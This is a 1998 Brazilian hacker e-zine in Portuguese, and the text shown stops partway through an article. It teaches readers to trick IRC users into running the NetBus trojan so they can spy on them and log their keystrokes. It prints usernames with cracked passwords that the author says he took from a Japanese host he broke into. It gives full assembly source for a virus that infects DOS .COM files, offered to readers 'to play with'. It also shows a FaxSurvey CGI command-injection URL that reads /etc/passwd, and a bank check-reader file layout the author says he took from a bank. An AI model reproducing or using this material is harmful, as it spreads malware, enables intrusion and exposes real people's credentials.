___ ___ \xx \xx \xx ___ _______ _________ ________ \xx \xx \xxxxxxx \xxxxxxxxx \xxxxxxx \xx \xx \xxxxxxx \xx x xx \xx xx \xx \xx \xx \xx x xx \xx xx \xx \xx \xx \xx x xx \xxxxxxx \xx \xx \xxxxxxx \xx xx \xx ___ \xx \xxxxxxx \xx xx \xx \xx Icmp security group e-zine ^ All rights reserved (c) Pagina na web : http://www.geocities.com/Pipeline/Halfpipe/7242/ Webmaster , Design , Security : ZeFuReNgA Programer , Security : SouHA Programer , Security : XPaRaNoiD Outubro & Novembro 1998 - The brazilian hacker journal "PARA MELHOR UTILIZAÇÃO USE O EDIT / PICO / VI / ED SE NENHUM DESSES CONSEGUIR VER A ZINE BEM RECOMENDO QUE UTILIZE OS OLHOS" "dublado e legendado nos estudios de Walt Disney" 1. INTRODUÇÃO - XParanoiD & ZeFuReNgA 2. NET BUS - ZeFuReNgA 3. CRACKER JOHN - ZeFuReNgA 4. WORDLISTS - ZeFuReNgA 5. VIRUS - SouHA 6. FAX SURVEY - ZeFuReNgA 7. CMC-7 - SouHA 8. ICMP ENCRYPTOR - XParanoiD 9. HUMILDADE... - ZeFuReNgA 10. HACKEANDO UNIX - SirHackalot 11. EXPLOIT GENERATOR - ZeFuReNgA 12. PROGRAMAÇÃO - XParanoiD 13. NEWZ EDITORS - ZeFuReNgA 14. MANHAS DO RLOGIN - ZeFuReNgA 15. NOTICIAS - Uground News! 16. WU FTP BUGZ! - ZeFuReNgA 17. MODEM - ?????????? 18. CARTAS - icmp group 19. AGRADECIMENTOS - XParanoiD & ZeFuReNgA **. MEGA BONUS - ZeFuReNgA ~~~ ~~~~ ~~~~~ ~ ~~~~~~~~ ~~~ ~~~~~~~~ ~ ~~~~ ______________________________________________________________________________ -) Atuais editores : -) .SouHA < ssouha@hotmail.com > -) .XPaRaNoiD < xparanoid@mailbr.com.br > -) .ZeFuReNgA < furenga@linuxbr.com.br > ┌────────────────────────────────────────────────────────────────────────────┐ │ 1. INTRODUÇÃO │ └────────────────────────────────────────────────────────────────────────────┘ Bem... É isso ai, mas uma zine sobre segurança e hacking no brasil. O que é icmp security group? É um grupo de hacking e seguranca de amigos que se conheceram no irc, BrasIRC (www.brasirc.net) e que ficam no canal #icmp. Esperamos você lá para enturma com a galera :) Leia antes de falar mal dela ok? :) Nesta zine voce !NAO! vai encontrar: * Textos sobre o Kevin Mitinik (Porra! todo mundo ja sabe a historia do cara! e tem zines que por falta de material ficam botando essa merda!) * Se voce quiser ser hacker delete o seu windows e instale o linux (pu tz... por que nao ter os 2?) * Lammers : deletem \home\lamer\icmp.zine ( porra! coisa ridicula!) * E o que me da mais vontade de rir e que sempre tem akela merda de "co mo hackear por ftp!" (Puta que pariu! isso dar dor nos olhos!) _____________________________________________________________________________ Esperamos que gostem do e-zine e que voce destribua para seus amigos pa ra que possamos ter cada vez mais leitores. Eu pretendo que nossa hp sempre esteja atualizada etc... Sem voces (leitores) nao podemos continuar com essa e-zine! Mesmo se que voce nao gostar me manda um e-mail! so pra saber que voce leu... Obrigado por tudo e espero que goste do material desta zine que eu acho que ta muito bom para uma zine numero 0 né? Abraços para o pessoal da IHS que se encontram no #hacker da brasirc. Um pé na bunda do pessoal do #Niteroi. Pessoal dos #Hackers > Vao se phude... O puto do invdr tinha me posto na akick so porque estava trocando senhas... Pessoal do #Brasircop > VOCES PHEDEM! VAO TOMAR NO CU SEUS IRCOPS FILHOS PUTA! VOCES SAO VAGABUNDOS E NAO FAZEM PORRA NENHUMA! Obrigado ao cheat struck grande amigo meu das noites passadas em clara tentando hackears varios hosts e por cada vez mais divulgar o nosso grupo em sua ótima zine. Icmp staff ┌────────────────────────────────────────────────────────────────────────────┐ │ 2. NET BUS │ └────────────────────────────────────────────────────────────────────────────┘ Bem aqui vamos falar sobre a nova febre que e o Netbus. O netbus é o concorrente do mais famoso Back orifice. Concerteza voce que nunca usou o netbus gostara mais do que o back orifice ( gozação com o nome de um prog da micro$soft chamado back office ). Tentarei explicar detalhadamente o uso do netbus e como ele funciona caso encontre algum erro nesta materia mande um e-mail para furenga@hotmail.com dizendo o erro. Vamos começar a máteria : Netbus é um programa para você controlar remotamente um computador li gado a internet que esteja rodando WINDOWS 95 / 98 / NT. Ele simplismente permite que você tenha total acesso ao outro computador. Mas antes de você ja ir pensando em sair invadindo o computador do pes soal... Você vai ter uma dificil tarefa... jogar o patche.exe para o compu tador da vitima e fazelo (a) executalo. Ai você pensa... O que esse patche.exe tem haver com isso tudo?Bem... Este arquivo é um cavalo de troia que abrira no computador da vi tima uma porta (12345) onde o cliente do NETBUS (netbus.exe) ira usar para invasao. Ele usa o protocolo tcp/ip :) Você já deve estar querendo saber o lugar onde se pega o netbus né? entao ok... eu sou bonzinho hehe... vá em http://www.warforge.com - Obs : não me mande e-mail falando que nao acho ele! Se vira que ele esta lá... Agora que você ja deu o download descompacta ele para c:\netbus com o WINZIP , PKUNZIP ou qualquer dessas merdas ae... caso você nao tenha o winzip vai em www.winzip.com . Pronto... agora você ira precisar infectar alguem. Entre em qualquer servidor de irc. E procure conversar com uns lammers... diz que é um nuke foda ou um programa para hackear provedor ( putz hehehe ). Se vi ra e joga essa merda lá... Ja jogo? Ele ja rodo? OPAAA!!! agora ta beleza... Agora rodeo o cliente do Netbus (netbus.exe) agora siga os passos : Conectando ao computador : Na parte " Host name / IP : " Bote o IP do cara... e Clique em Connect! Depois disso é só você fazer a festa... Você pode ficar abrindo e fe chando o CD - ROM do cara,mandar uma caixa de dialogo , tirar uma foto do computador dele , dar download dos arquivos e tem no computador dele e dar upload , rodar aplicativos e mais muita coisa que eu vou descrever abaixo. Já conectado ao computador da vitima voce pode fazer essas seguintes acões... Tudo isso feito por você! * Abrir e fechar o CD - ROM * Mostrar imagens * Trocar as funcoes do mouse tipo o click no botao direito serß como um click no esquerdo * Tocar uma musica * Comandar o mouse da vitima * Desligar , Reiniciar o computador da vitima * Ir para uma homepage ( bota um site gay pra zoar o cara! ) * Gravar todas as teclas que ele esta digitando! ( bom para vocÛ ler os pvts!) * Tirar foto do micro do cara! ( Yeah! isso mesmo! ACREDITE!) * Upload de qualquer arquivo de voce e manda pra ele! ( e rodar! bom para virus.. voce passa e roda ele :)) * Aumentar e diminuir o volume do som * Fazer sons ao clicar no teclado * Dar downloads e deletar qualquer coisa ( deletar é coisa de babaca...) * Travar certas teclas do teclado * Botar senha no micro dele para que so voce possa usar o NETBUS nele DICAS QUENTES PARA VOCÊ USAR COM O NETBUS!! Jogue para o computador do cara o boserve.exe ( o trojan do BO ) e rodeo ele... ai você terá 2 opcoes de invadir o computador do lamer , por netbus ou por backorifice ( show! ) Trave as vogais dele ( a,e,i,o,u ) voce nao tera ideia de como será engraçado ver ele falando sem as vogais... tipo "v t dr prrd!!!" = "vou te dar porrada!!!" Abre qualquer cliente de IRC e digite /dns www.provedor.com.br . Ele returnara com um numero (ip) tipo 200.222.234.54 . Copie esse ip e cole no Netbus e bote 200.222.234.54+100 . e clicke em connect! Ele irá scannear todos os ips de 200.222.234.0 a 200.222.234.100 ( Se conectar em algum comemore :) ! ) ZeFuReNgA (c) copyright 1998 - icmp member . .. When you play you want to pay .. . ┌────────────────────────────────────────────────────────────────────────────┐ │ 3. CRACKER JOHN │ └────────────────────────────────────────────────────────────────────────────┘ John the Ripper Version 1.5 Copyright (c) 1996-98 by Solar Designer Fala galera, iremos agora falar sobre password crackers.Ainda há muitas pessoas que me encontram e perguntam como se usa o cracker jack. Bah... Sera que ate hoje esse pessoal mal infor mado nao saiba da existencia do cracker john que é um cracker muito mais rapido eficiente e com milhares de opcões. Há ate a opção de sem wordlist! Para quem tinha problema com a velocidade do cracker jack -single "single crack"mode -wordfile:FILE -stdin wordlist mode, read words from FILE or stdin -rules enable rules for wordlist mode -incremental[:MODE] incremental mode [using section MODE] -external:MODE external mode or word filter -restore[:FILE] restore an interrupted session [from FILE] -session:FILE set session file name to FILE -makechars:FILE make a charset, FILE will be overwritten -show show cracked passwords -test perform a benchmark -users:[-]LOGIN|UID[,..] load this (these) user(s) only -groups:[-]GID[,..] load users of this (these) group(s) only -shells:[-]SHELL[,..] load users with this (these) shell(s) only -salts:[-]COUNT load salts with at least COUNT passwords only -format:NAME force ciphertext format NAME (DES, BSDI, MD5, BF) -savemem:LEVEL enable memory saving, at LEVEL 1..3 Viu quantas coisa uteis tem nele? :) Este programa esta por ai... procure-o que você vai achar... :) Ele é muito facil de usar... por favor! nao me manda msgs falando que nao consegue usar essa merda... se voce mandar esse tipo de mensagem era sera ign orada , very simple :) Usando : Eu vou dar um exemplo , este passwd é de um host do japao que eu consegui hackear. O nome da minha wordlist é bigdict e do meu passwd a ser crackeado é passwd entao teriamos de fazer este seguinte comando : c:\john-15\run\> john -wordfile:bigdict passwd John the Ripper Version 1.5 Copyright (c) 1996-98 by Solar Designer Loaded 184 passwords with 181 different salts (Standard DES [24/32 4K]) Yoshi (ohira) adoresu (setsubi) american (miyasita) haruka (emiko) kaikei (higashi) masashi (kawanisi) moriko (ikouga) nakada (gaku-s1) newtown (takezako) redrose (abematsu) sakura (jingusi) takahiro (kitamura) takayuki (ijichi) tosiharu (t-yanagi) yasutaka (gakusei) ------- lembrando que esta lista fica organizado com a senha e o (login). Espero que tenham entendido, é muito facil lidar com esse programa , acho que nao mereco falar mais sobre ele... ZeFuReNgA (c) copyright 1998 . ..When you play you want to pay.. . ┌────────────────────────────────────────────────────────────────────────────┐ │ 4. WORDLIST │ └────────────────────────────────────────────────────────────────────────────┘ Bem. Um dos utilitarios que nenhum hacker pode deichar de ter é uma *BOA* wordlist. Muitos me perguntao onde achar uma , porque é realmente dificil achar uma de boa qualidade. Um certo dia em que eu peguei um passwd de uma universidade do japao eu estava precisando de uma ótima wordlist porque nenhuma minha tinha conse guido crackear um bom numero de senhas. Por isso procurei a todo custo e achei uma seção só de wordlist em http://www.antionline.com/ Nela se encontra essas wordlists : * BigDict - Uma wordlist com 1.6 milhoes de palavras * Actor-givenname - Acho que é nome de atores * Cartoon - Nome de personagens de desenho animado * Colleges - A list of Oxford Colleges. * Common-passwords - Senhas comuns * Female-names - Nomes femininos * Jargon - A word list of Jargon * Male-names - Nomes masculinos * movie-characters - Nomes de filmes etc. * music-country - O nome da diz :') * music-jazz - Musicas e cantores de jazz * music-rock - Musicas e bandas de rock * myths-legends - A word list related to myths and legends * tech - Palavras sobre tecnologia * trek - Termos do star trek * Unabr_dict - Dicionario dos EUA Deu para ver a grande variedades de wordlist. Eu recomendo a pegar a Unabr_dict que é o dicionario dos eua e principalmente a BigDict que ja me deu alguns roots :). ZeFuReNgA Produções :) (c) 1998 ┌────────────────────────────────────────────────────────────────────────────┐ │ 5. ViRUS By SouHA │ └────────────────────────────────────────────────────────────────────────────┘ Eu (ZeFuReNgA) não queria botar algo sobre virus na icmp security zine , porque eu acho virus uma coisa anti ética. Caso você nao concorde comi *FUCK YOU*. Mas... Como muita gente gosta de virii tive que botar :p Não me responsabelizo por nada. Atualmente quem faz a parte de virus da zine e o nosso amigo e membro da icmp SouHA Para se comunicar com ele mande um e-mail para ssouha@hotmail.com ************************************************ Um virus de verdade meu para vc's brincarem heheh *************************************************} ;----------------------------------- ;Program by SouHA ;Date: 20/07/96 ;Time: 10:36:00 ;Descript Virus of .Com, .Exe and crash overwrite. ;E-mail:ssouha@hotmail.com ;------------------------------------------------- Mov_cx Macro x db 0B9H dw x Endm Code Segment Assume Ds:Code,Ss:Code,Cs:Code,Es:Code Org $+0100h VCode: Jmp virus ;Justifica o espaco de um arquivo .COM p/ um arquivo pequeno Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop Nop ;************************************************************ ; Este e o virus atual neste lugar. ;************************************************************ v_start Equ $ virus: Push Cx Mov Dx,OffSet vir_dat ;This is where the virus data starts. ; The 2nd and 3rd bytes get modified. Cld ;Pointers will be auto INcremented Mov Si,Dx ;Access data as offset from SI Add Si,first_3 ;Point to original 1st 3 bytes of .COM Mov Di,OffSet 100H ;`cause all .COM files start at 100H Mov Cx,3 Repz MovSb ;Restore original first 3 bytes of .COM Mov Si,Dx ;Keep SI pointing to the data area ;************************************************************* ; Checa a versäo o DOS ;************************************************************* Mov Ah,30H Int 21H Cmp Al,0 ;0 means it's version 1.X Jnz dos_ok ;For version 2.0 or greater Jmp quit ;Don't try to infect version 1.X ;************************************************************* ; Se esta versäo do DOS e maior o bastante para o trabalho ;************************************************************* dos_ok: Push Es ;************************************************************* ; Recebe o endereco da DTA dentro dos registradores Es:Bx ;************************************************************* Mov Ah,2FH Int 21H ;************************************************************* ; Salva o endereco DTA ;************************************************************* Mov [Si+old_dta],Bx Mov [Si+old_dts],Es ;Save the DTA address Pop Es ;************************************************************* ; Grupo DTA p/o ponto dentro dos dados do virus ;************************************************************* Mov Dx,dta ;Offset of new DTA in virus data area ; Nop ;MASM will add this NOP here Add Dx,Si ;Compute DTA address Mov Ah,1Ah Int 21H ;Set new DTA to inside our own code Push Es Push Si Mov Es,Ds:2Ch Mov Di,0 ;Es:Di points to environment ;************************************************************ ; Procura o "PATH=" e as palavras no ambiente ;************************************************************ find_path: Pop Si Push Si ;Get SI back Add Si,env_str ;Point to "PATH=" string in data area LodSb Mov Cx,OffSet 8000H ;Environment can be 32768 bytes long RepNz ScaSb ;Search for first character Mov Cx,4 ;************************************************************ ; Olha para checar se o proximo quatro caracteres ;************************************************************ check_next_4: LodSb SCASB Jnz find_path ;If not all there, abort & start over Loop check_next_4 ;Loop to check the next character Pop Si Pop Es Mov [Si+path_ad],Di ;Save the address of the PATH Mov Di,Si Add Di,wrk_spc ;File name workspace Mov Bx,Si ;Save a copy of SI Add Si,wrk_spc ;Point SI to workspace Mov Di,Si ;Point Di to workspace Jmp Short slash_ok ;********************************************************** ; Olha no PATH p/ mais diretorios, se algum ;********************************************************** set_subdir: Cmp Word Ptr [Si+path_ad],0 ;Is PATH string ended? Jnz found_subdir ;If not, there are more subdirectories Jmp all_done ;Else, we're all done ;********************************************************** ; Verifica se esta no diretorio do PATH ;********************************************************** found_subdir: Push Ds Push Si Mov Ds,Es:2Ch ;Ds points to environment segment Mov Di,Si Mov Si,Es:[Di+path_ad] ;SI = PATH address Add Di,wrk_spc ;Di points to file name workspace ;********************************************************************** ; Movimenta o nome do subdiretori p/dentro do arquivo de trabalho ;********************************************************************** move_subdir: LodSb ;Get character Cmp Al,';' ;Is it a ';' delimiter? JZ moved_one ;Yes, found another subdirectory Cmp Al,0 ;End of PATH string? JZ moved_last_one ;Yes StoSb ;Save PATH marker into [Di] Jmp Short move_subdir ;****************************************************************** ; Marca o aquele fato nos alcances no ultimos diretorio ;****************************************************************** moved_last_one: Mov Si,0 ;****************************************************************** ; Aqui atr'as n'os subdiret'orio movimentamos um subdiret'orio ;****************************************************************** moved_one: Pop Bx ;Pointer to virus data area Pop Ds ;Restore Ds Mov [Bx+path_ad],Si ;Address of next subdirectory Nop ;****************************************************************** ; Marca um certo subdiret'orio no final de um "\" ;****************************************************************** Cmp Ch,'\' ;Ends with "\"? JZ slash_ok ;If yes Mov Al,'\' ;Add one, if not StoSb ;****************************************************************** ; Neste lugar n'os sabemos o final de uma divisäo ;****************************************************************** slash_ok: Mov [Bx+nam_ptr],Di ;Set filename pointer to name workspace Mov Si,Bx ;Restore SI Add Si,f_spec ;Point to "*.COM" Mov Cx,6 Repz MovSb ;Move "*.COM",0 to workspace Mov Si,Bx ;***************************************************************** ; Virus Vienna ;***************************************************************** Push Es Push Ax Mov Ax, 40h Mov Es, Ax Mov Word Ptr Es:4Ah, 40h Mov Word Ptr Es:08h, 1f2h Mov Word Ptr Es:00h, 3f2h Pop Ax Pop Es ;******************************************************************* ; Procura o comeco da string *.COM ;******************************************************************* Mov Ah,4EH Mov Dx,wrk_spc ; Nop ;MASM will add this NOP here Add Dx,Si ;Dx points to "*.COM" in workspace Mov Cx,3 ;Attributes of Read Only or Hidden OK Int 21H Jmp Short find_first ;******************************************************************* ; Procura o proximo ASCIIZ string com *.COM ;******************************************************************* find_next: Mov Ah,4FH Int 21H find_first: Jnb found_file ;Jump if we found it Jmp Short set_subdir ;Otherwise, get another subdirectory ;******************************************************************* ; Aqui quando n'os achamos um arquivo ;******************************************************************* found_file: Mov Ax,[Si+dta_tim] ;Get time from DTA And Al,1FH ;Mask to remove all but seconds Cmp Al,1FH ;62 seconds -> already infected JZ find_next ;If so, go find another file Cmp Word Ptr [Si+dta_len],OffSet 0FA00H ;Is the file too long? JA find_next ;If too long, find another one Cmp Word Ptr [Si+dta_len],0Ah ;Is it too short? Jb find_next ;Then go find another one Mov Di,[Si+nam_ptr] ;Di points to file name Push Si ;Save Si Add Si,dta_nam ;Point Si to file name ;******************************************************************** ; Move the name to the end of the path ;******************************************************************** more_chars: LodSb StoSb Cmp Al,0 Jnz more_chars ;Move characters until we find a 00 ;******************************************************************** ; recebe os atributos de um arquivos ;******************************************************************** Pop Si Mov Ax,OffSet 4300H Mov Dx,wrk_spc ;Point to \path\name in workspace ; Nop ;MASM will add this NOP here Add Dx,Si Int 21H Mov [Si+old_att],Cx ;Save the old attributes ;******************************************************************** ; Rewrite the attributes to allow writing to the file ;******************************************************************** Mov Ax,OffSet 4301H ;Set attributes And Cx,OffSet 0FFFEH ;Set all except "read only" (weird) Mov Dx,wrk_spc ;Offset of \path\name in workspace ; Nop ;MASM will add this NOP here Add Dx,Si ;Point to \path\name Int 21H ;******************************************************************** ; Open Read/Write channel to the file ;******************************************************************** Mov Ax,OffSet 3D02H ;Read/Write Mov Dx,wrk_spc ;Offset to \path\name in workspace ; Nop ;MASM will add this NOP here Add Dx,Si ;Point to \path\name Int 21H JNB opened_ok ;If file was opened OK Jmp fix_attr ;If it failed, restore the attributes ;******************************************************************* ; Get the file date & time ;******************************************************************* opened_ok: Mov Bx,Ax Mov Ax,OffSet 5700H Int 21H Mov [Si+old_tim],Cx ;Save file time Mov [Si+ol_date],Dx ;Save the date ;******************************************************************* ; Get current system time ;******************************************************************* Mov Ah,2Ch Int 21H And DH,7 ;Last 3 bits 0? (once in eight) ;******************************************************************* ; The following line is a change from the original virus. Originally ; the following line would be Jnz seven_in_eight. This would ruin ; about 1/8 of all .COM files infected, while the other 7/8 would ; be left workable, but infected. For the purpose of studying a ; live virus, the changed line is not so damaging. ;******************************************************************* Jmp Short seven_in_eight ;******************************************************************* ; The special "one in eight" infection. If the above line were in ; its original form, this code would be run 1/8 of the time, and ; rather than appending a copy of this virus to the .COM file, the ; file would get 5 bytes of code that reboot the system when the ; .COM file is run. ;******************************************************************* Mov Ah,40H ;Write to file Mov Cx,5 ;Five bytes Mov Dx,Si Add Dx,reboot ;Offset of reboot code in data area Int 21H Jmp Short fix_time_stamp Nop ;****************************************************************** ; Here's where we infect a .COM file with this virus ;****************************************************************** seven_in_eight: Mov Ah,3FH Mov Cx,3 Mov Dx,first_3 ; Nop ;MASM will add this NOP here Add Dx,Si Int 21H ;Save first 3 bytes into the data area Jb fix_time_stamp ;Quit, if read failed Cmp Ax,3 ;Were we able to read all 3 bytes? Jnz fix_time_stamp ;Quit, if not ;****************************************************************** ; Move file pointer to end of file ;****************************************************************** Mov Ax,OffSet 4202H Mov Cx,0 Mov Dx,0 Int 21H Jb fix_time_stamp ;Quit, if it didn't work Mov Cx,Ax ;Dx:Ax (long int) = file Size Sub Ax,3 ;Subtract 3 (OK, Since Dx must be 0, here) Mov [Si+jmp_dsp],Ax ;Save the displacement in a JMP instruction Add Cx,OffSet c_len_y Mov Di,Si ;Point Di to virus data area Sub Di,OffSet c_len_x ;Point Di to reference vir_dat, at start of pgm Mov [Di],Cx ;Modify vir_dat reference:2nd, 3rd bytes of pgm ;******************************************************************* ; Write virus code to file ;******************************************************************* Mov Ah,40H Mov_Cx virlen ;Length of virus, in bytes Mov Dx,Si Sub Dx,OffSet codelen ;Length of virus code, gives starting ; address of virus code in memory Int 21H Jb fix_time_stamp ;Jump if error Cmp Ax,OffSet virlen ;All bytes written? Jnz fix_time_stamp ;Jump if error ;********************************************************************** ; Move file pointer to beginning of the file ;********************************************************************** Mov Ax,OffSet 4200H Mov Cx,0 Mov Dx,0 Int 21H Jb fix_time_stamp ;Jump if error ;********************************************************************** ; Write the 3 byte JMP at the start of the file ;********************************************************************** Mov Ah,40H Mov Cx,3 Mov Dx,Si ;Virus data area Add Dx,jmp_op ;Point to the reconstructed Jmp Int 21H ;********************************************************************** ; Restore old file date & time, with seconds modified to 62 ;********************************************************************** fix_time_stamp: Mov Dx,[Si+ol_date] ;Old file date Mov Cx,[Si+old_tim] ;Old file time And Cx,OffSet 0FFE0H OR Cx,1FH ;Seconds = 31/30 min = 62 seconds Mov Ax,OffSet 5701H Int 21H ;********************************************************************** ; Close File ;********************************************************************** Mov Ah,3EH Int 21H ;********************************************************************** ; Restore Old File Attributes ;********************************************************************** fix_attr: Mov Ax,OffSet 4301H Mov Cx,[Si+old_att] ;Old Attributes Mov Dx,wrk_spc ; Nop ;MASM will add this NOP Add Dx,Si ;Dx points to \path\name in workspace Int 21H ;********************************************************************** ; Here when it's time to close it up & end ;********************************************************************** all_done: Push Ds ;********************************************************************** ; Restore old DTA ;********************************************************************** Mov Ah,1Ah Mov Dx,[Si+old_dta] Mov Ds,[Si+old_dts] Int 21H Pop Ds ;************************************************************************* ; Clear registers used, & do a weird kind of Jmp 100. The weirdness comes ; in Since the address in a real Jmp 100 is an offset, and the offset ; varies from one infected file to the next. By PUSHing an 0100H onto the ; stack, we can RET to address 0100H just as though we JMPed there. ;********************************************************************** quit: Pop Cx Xor Ax,Ax Xor Bx,Bx Xor Dx,Dx Xor Si,Si Mov Di,OffSet 0100H Push Di Xor Di,Di Ret 0FFFFH ;************************************************************************ ;The virus data starts here. It's accessed off the Si register, per the ; comments as shown ;************************************************************************ vir_dat Equ $ ;Use this with (Si + old_dta) olddta_ dw 0 ;Old DTA offset ;Use this with (Si + old_dts) olddts_ dw 0 ;Old DTA segment ;Use this with (Si + old_tim) oldtim_ dw 0 ;Old Time ;Use this with (Si + ol_date) oldate_ dw 0 ;Old date ;Use this with (Si + old_att) oldatt_ dw 0 ;Old file attributes ;Here's where the first three bytes of the original .COM file go.(Si + first_3) first3_ Equ $ Int 20H Nop ;Here's where the new Jmp instruction is worked out ;Use this with (Si + jmp_op) jmpop_ db 0E9H ;Start of Jmp instruction ;Use this with (Si + jmp_dsp) jmpdsp_ dw 0 ;The displacement part ;This is the type of file we're looking to infect. (Si + f_spec) fspec_ db '*.COM',0 ;Use this with (Si + path_ad) pathad_ dw 0 ;Path address ;Use this with (Si + nam_ptr) namptr_ dw 0 ;Pointer to start of file name ;Use this with (Si + env_str) envstr_ db 'PATH=' ;Find this in the environment ;File name workspace (Si + wrk_spc) wrkspc_ db 40h dup (0) ;Use this with (Si + dta) dta_ db 16h dup (0) ;Temporary DTA goes here ;Use this with (Si + dta_tim) dtatim_ dw 0,0 ;Time stamp in DTA ;Use this with (Si + dta_len) dtalen_ dw 0,0 ;File length in the DTA ;Use this with (Si + dta_nam) dtanam_ db 0Dh dup (0) ;File name in the DTA ;Use this with (Si + reboot) reboot_ db 0EAh,0F0H,0FFH,0FFH,0FFH ;Five byte FAR Jmp to FFFF:FFF0 lst_byt Equ $ ;All lines that assemble into code are ; above this one ;***************************************************************************** ;The virus needs to know a few details about its own Size and the Size of its ; code portion. Let the assembler figure out these Sizes automatically. ;***************************************************************************** virlen = lst_byt - v_start ;Length, in bytes, of the entire virus codelen = vir_dat - v_start ;Length of virus code, only c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP ;***************************************************************************** ;Because this code is being appended to the end of an executable file, the ; exact address of its variables cannot be known. All are accessed as offsets ; from Si, which is represented as vir_dat in the below declarations. ;***************************************************************************** old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp ol_date = oldate_ - vir_dat ;Displacement to old file date stamp old_att = oldatt_ - vir_dat ;Displacement to old attributes first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM jmp_op = jmpop_ - vir_dat ;Displacement to the Jmp opcode jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of Jmp f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string path_ad = pathad_ - vir_dat ;Displacement to the path address nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace dta = dta_ - vir_dat ;Displacement to the temporary DTA dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code Code Ends End VCode {--------------------------------- Corte aqui -------------------------------- SouHA (c) copyright 1996 - icmp member ┌────────────────────────────────────────────────────────────────────────────┐ │ 6. FAX SURVEY │ └────────────────────────────────────────────────────────────────────────────┘ y0 dudz , agora nos iremos falar sobre mais um bug no cgi-bin (Fax Survey) pouco conhecido. Com ele o hacker tem a possibili dade de executar qualquer comando. Bem , quando eu disse que poderia executar qualquer comando tenho certeza que você ja deve ter pensando em dar um cat no passwd né? Entao vamos dar um cat nele! bote: "http://lest.fuck.one.host/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd" em seu favorito browser para pegar a copia do passwd file do sistema :) Todos S.u.S.e 5.1 e 5.2 Linux dist. com o Hyla Fax package instalado sao vulneraveis!!! Boa sorte :) T+! ZeFuReNgA ┌────────────────────────────────────────────────────────────────────────────┐ │ 7. CMC-7 │ └────────────────────────────────────────────────────────────────────────────┘ O que eu vou falar hoje e sobre Leitora de CMC-7 que legal né, bem o q eu vou falar foi tirado de um Banco por mim hehehe não contem para ninguem, bem mais eu só do tipo q olho mais não destruo nenhuma informão la contida :)) bem se vc não esta lembrado q maquina é esta, entrem num Banco e olhem para uma maquininha que fica la registrando todos os cheques ou seja pegando a conta do individuo, o valor eo número da conta bem se vc's estao confusos para q isto vai servir bem um Hacker vai saberdo que fazer com estas informações, sempre q o cara coloca o cheque ali para ser lido a máquina pega todos os dados dela e coloca num arquivo mais não e tão facil assim não o arquivo fica com um tipo de Header que determina onde fica cada instrução bem eu consegui entender o funcionamento vou passar para vc's o Header dele para vc's endenderem melhor, pelo q eu sei todas as informações lá contidas são mandadas via Satélite para uma sentral onde eles pegam e com um programinha eles conseguem entender tudo que la esta. ---------------------------------------------------------- O arquivo deverá conter um Header, com a seguinte lay-out: ---------------------------------------------------------- -------------------------------------------------------------------------------- |N Posicoes | Pict | Conteudo | Especificacoes | -------------------------------------------------------------------------------- |01-01 a 31 | X(31) | Filer | Igual a zeros. | |02-32 a 37 | X(06) | Constante igual a CEL605 | Nome do arquivo. | |03-38 a 40 | 9(03) | Compe Local | Codigo da camara de compensa | | | | | cao onde esta sendo apresen- | | | | | tado o arquivo. | |04-41 a 43 | 9(03) | Numero do Banco apresent.| Codigo do Banco. | |05-44 a 44 | X(01) | D.V do numero do Banco | D.V. do n do banco Calc. do | | | | | modulo 11 | |06-45 a 45 | 9(01) | Indicador de Remessa | Indicador de Remessa | | | | | 1-Cheque de valor ate o limite| | | | | 2-Cheques de valor superior | | | | | ao limite. | |07-46 a 51 | 9(06) | Data do movimento | Data do movimento, no format| | | | | aammdd | |08-52 a 57 | 9(06) | Data de criacao do arq. | Formato aammdd | |09-58 a 61 | 9(04) | Hora da criacao do arq. | Hora/min. da criacao do arq.| | | | | Hhmm | |10-62 a 65 | 9(04) | Versao do arquivos | Sequencial iniciado em 1.com| | | | | evolucao de +1 para cada | | | | | arquivo. | |11-66 a 94 | X(29) | Filer | Igual a brancos | |12-95 a 104| 9(10) | Sequencial do registro | Sequencial iniciado em 1. | | | | | Com evolucao de +1 para cada| | | | | registro do arquivo. | ------------------------------------------------------------------------------ ------------------------ O lay-out dos registros. ------------------------ ------------------------------------------------------------------------------ |01-01 a 03 | 9(03) | Compe de destino | Informado no documento | |02-04 a 06 | 9(03) | Banco de destino | Informado no documento | |03-07 a 10 | 9(04) | Agencia de destino | Informado no documento | |04-11 a 11 | 9(01) | Controle C1 | Informado no documento | |05-12 a 23 | 9(12) | Numero da conta de destin| Informado no documento | |06-24 a 24 | 9(01) | Controle C2. DV1 | Informado no documento | |07-25 a 30 | 9(06) | Numero do documento | Informado no documento | |08-31 a 31 | 9(01) | Controle C3. DV3 | Informado no documento | |09-32 a 33 | 9(02) | Tipo de documento | Conforme codigos do FAC | |10-34 a 50 | 9(17) | Valor | Informado no documento | |11-51 a 52 | 9(02) | Codigo de devolucao | Conforme estabelecido pelo | | | | | Banco Central | |12-53 a 53 | X(01) | Tipificacao | Constante, igual a Branco, | | | | | 5 a 8 | |13-54 a 56 | 9(03) | Banco apresentante | Informacao p/controle da | | | | | Origem do doc. | |14-57 a 60 | 9(04) | Agencia apresentante | Informacao p/controle da | | | | | origem do doc. | |15-61 a 67 | 9(07) | Numero do lote do aprese | Informacao p/controle da | | | | ntante. | origem do doc. | |16-68 a 70 | 9(03) | Sequncial no lote | Posicao do documento no lote| | | | | com evolucao +1 para cada | | | | | documento. | |17-71 a 76 | 9(06) | Data da apresentacao | Data da sessao de troca | | | | | na forma aammdd | |18-77 a 82 | X(06) | Centro processador | Informacao para controle do | | | | | apresentante. | |19-83 a 94 | X(12) | Numero da conta do depo- | Campo de livre utilizacao | | | | sitante. | | |20-83 a 94 | 9(10) | Sequencial do registro | Com evolucao de +1 para cada| | | | | registro. | ------------------------------------------------------------------------------ Bem galera 